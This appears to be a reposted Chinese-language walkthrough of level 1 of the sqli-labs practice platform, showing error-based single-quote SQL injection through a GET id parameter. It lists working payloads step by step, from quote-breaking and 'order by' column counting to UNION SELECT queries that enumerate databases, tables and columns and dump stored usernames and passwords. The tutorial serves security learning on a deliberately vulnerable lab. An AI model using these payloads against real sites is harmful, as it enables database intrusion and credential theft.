sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)相关的知识,希望对你有一定的参考价值。
记得把php.in中的转义参数magic_quotes_gpc配置成Off:
不然发送的请求参数中的符号会被加上\\转义,从而无法直接拼接到SQL语句中去
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
第一关提示我们输入ID作为参数和数值
查询id=1:
显示了
Your Login name:Dumb
Your Password:Dumb
查询id=1’
出现报错,输出的1’拼接成了’1’’ LIMIT 0,1
limit 0,1, 从你的表中的第0个数据开始,只读取一个
查询1’ and ‘1’='2
没有结果
查询1’ and ‘1’='1
正常返回结果
证明可以成功拼接查询返回结果
查询1’ or 1=1; --+可以返回表中所有数据
SELECT * FROM users WHERE id='1' or 1=1; -- ' LIMIT 0,1
但是源代码中的mysql_fetch_array函数每次只从结果集中取得一行作为关联数组:
所以每次只会在前端显示一行数据
接下来我们先查询这个表中有多少列数据,先将返回结果按照1,2,3列排序:
查询
1' order by 3;--+
都正常返回,证明表中至少有三列数据
查询
1' order by 4;--+
没有第4列,说明表中只有三列数据
接下来我们使用union联合查询查找表中的数据
查询
0' union select 1,2,3 --+
查询3列的返回数据,在前端显示的只有2和3,意味着我们的注入点只能是2和3
2、猜测数据库
查询当前数据库名称
0' union select 1,database(),3 --+
当前数据库名称是security
也可以查看所有数据库的名称:
0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
得到所有数据库的名称:information_schema,challenges,mysql,performance_schema,security,sys
3、猜测数据库表︰
之后查看security数据库下的表名
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
得到security数据库下的表名:emails,referers,uagents,users
4、猜字段
查看users表下面有哪些字段
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users" --+
接下来我们就可以读取用户名和密码的值了
id=0' union select 1,group_concat(username),3 from security.users --+
读取密码的值:
id=0' union select 1,group_concat(password),3 from security.users --+
成功读取数据库中的字段值
以上是关于sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)的主要内容,如果未能解决你的问题,请参考以下文章
sql-labs SQL注入平台-第1关Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)